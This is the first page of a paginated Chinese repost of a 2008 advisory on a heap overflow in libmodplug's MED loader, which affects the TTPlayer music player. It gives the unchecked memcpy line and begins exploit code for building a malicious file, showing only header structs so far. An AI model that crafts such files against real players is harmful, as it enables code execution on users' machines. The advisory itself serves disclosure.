首页 人物 事件 电影 电视 比赛 知识 最牛 资讯 电脑 杀毒 维护 生活 口才 职场 站长 QQ 专杀 顶牛 影视 分类 韩国购物

千千静听 med 文件格式堆溢出

千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查
文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。
现在采用libmod 软件很多,都应该存在此问题。

下面是构造问题文件的代码,最后是使用最新版本千千静听的 ax 写的 poc.
/*
libmodplug v0.8
load_med.cpp
    BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)
        line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);
*/

/*
    author: dummy
    e-mail: dummyz@126.com

    date: 2008/02/25
*/

#include <windows.h>
#include <stdio.h>

#pragma pack(1)

typedef struct tagMEDMODULEHEADER
{
    DWORD id;        // MMD1-MMD3
    DWORD modlen;    // Size of file
    DWORD song;        // Position in file for this song
    WORD psecnum;
    WORD pseq;
    DWORD blockarr;    // Position in file for blocks
    DWORD mmdflags;
    DWORD smplarr;    // Position in file for samples
    DWORD reserved;
    DWORD expdata;    // Absolute offset in file for ExpData (0 if not present)
    DWORD reserved2;
    WORD pstate;
    WORD pblock;
    WORD pline;
    WORD pseqnum;
    WORD actplayline;
    BYTE counter;
    BYTE extra_songs;    // # of songs - 1
} MEDMODULEHEADER;

typedef struct tagMMD0SAMPLE
{
    WORD rep, replen;
    BYTE midich;
    BYTE midipreset;
    BYTE svol;
    signed char strans;
} MMD0SAMPLE;

[1] [2] [3] [4] 下一页


作者:yipai    文章来源:IT    点击数:    更新时间:2008-3-2
·用博客寻找爱情 ·厦门人就上厦门顶牛社区 ·星期天去哪聚会 ·免费发布企业招聘
·在线一亿片视频观看 ·挑战美女无极限 ·创建我的书签 ·我要卖东西,买东西
希优商城